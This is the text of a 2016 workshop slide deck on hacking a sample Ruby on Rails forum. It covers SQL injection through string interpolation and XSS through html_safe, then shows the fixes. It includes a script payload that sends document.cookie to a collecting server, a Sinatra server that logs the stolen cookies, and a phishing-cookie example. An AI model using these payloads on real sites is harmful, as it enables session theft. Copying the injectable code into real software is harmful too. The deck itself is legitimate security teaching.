Workshop KrakYourNet2016 - Web applications hacking Ruby on Rails example

Web applications hacking
Ruby on Rails example

● Software House located in Krakow
● Ruby on Rails, Android and iOS
● Specialized in building web and mobile applications
● Collaborating with many companies and startups from all over
the world
ABOUT US:

2009 - software house was founded
50 projects created
40 developers
Awards:
OUR HISTORY:
Top Web & Software Developers
in Poland 2015
Top Tens Ruby on Rails
Development Companies

OWASP TOP 10
1. Injection
2. Broken authentication and session management
3. Cross-Site Scripting
4. Insecure direct object reference
5. Security misconfiguration
6. Sensitive data exposure
7. Missing function level access control
8. Cross-Site Request Forgery
9. Using components with known vulnerabilities
10. Unvalidated redirects and forwards

Simple Ruby on Rails forum
Ruby 2.3.0
Rails 4.2.6
PostgreSQL 9.4

# app/controllers/forum_threads_controller.rb
class ForumThreadsController < ApplicationController
def show
@thread = ForumThread.find_by title: params[:title]
end
end
# config/routes.rb
resources :forum_threads, param: :title, only: :show do
resources :comments, only: :create
end
SEARCHING THE FORUM THREAD BY TITLE:

class ForumThreadsController < ApplicationController
def show
@thread = ForumThread.find_by “title = #{params[:title]}”
end
end
# config/routes.rb
resources :forum_threads, param: :title, only: :show do
resources :comments, only: :create
end
SEARCHING THE FORUM THREAD BY TITLE:

Is SQL injection
impossible in Rails?

Unfortunately, no.
It’s possible,
just not dropping tables.

Further reading:
rails-sqli.org

# app/controllers/comments_controller.rb
class CommentsController < ApplicationController
def create
@thread = ForumThread.find params[:forum_thread_id]
@comments = @thread.comments.build comment_params
@comments.user = current_user
if @comment.save
redirect_to @thread, notice: ‘Successfully added new comment’
else
redirect_to @thread, alert: “Couldn’t save comment“
end
end
private
def comment_params
params.require(:comment).permit(:content)
end
end
# app/views/forum_threads/show.haml
%p= comment.content
COMMENTS - create and show:

def create
if @comment.save
else
end
end
private
def comment_params
end
end
%p= comment.content.html_safe

Hi guys!
<script> alert(“I came for your cookies!“) </script>

What’s up?
<script>
xhttp = new XMLHttpRequest();
xhttp.open(“GET”, “http://localhost:4567/cookies/” + document.cookie);
xhttp.send();
</script>
XSS ATTACK - TEST AND STEALING COOKIES

require ‘sinatra’
require ‘logger’
logger = Logger.new ‘log/cookies.log’
get ‘/cookies/:cookie’ do
logger.info ‘=== COOKIE ===’
logger.info params[:cookie]
logger.info ‘/== COOKIE ===’
end
XSS ATTACK - SIMPLE COOKIES LOGGING SERVER

Are all cookies HTTPOnly
in Rails?

cookies[:after_sign_in_path] = ‘http://localhost/after_sign_in_path’
// document.cookies=”after_sign_in_path=’http://malicious.site/phishing’”
cookies.signed[:after_sign_in_path] = ‘http://localhost/after_sign_in_path’
// document.cookies=”after_sign_in_path=’http://malicious.site/phishing’”
cookies.signed[:after_sign_in_path] = {
value: ‘http://localhost/after_sign_in_path’,
httponly: true
}
// finally safe
UNFORTUNATELY - NO. ALWAYS USE THIS HASH!

It’s safe from cookies stealing,
but is it safe from XSS?

def create
if @comment.save
else
end
end
private
def comment_params
end
end
%p= sanitize comment.content.html_safe

Workshop KrakYourNet2016 - Web applications hacking Ruby on Rails example

More Related Content

What's hot (20)

Similar to Workshop KrakYourNet2016 - Web applications hacking Ruby on Rails example (20)

Recently uploaded (20)

Workshop KrakYourNet2016 - Web applications hacking Ruby on Rails example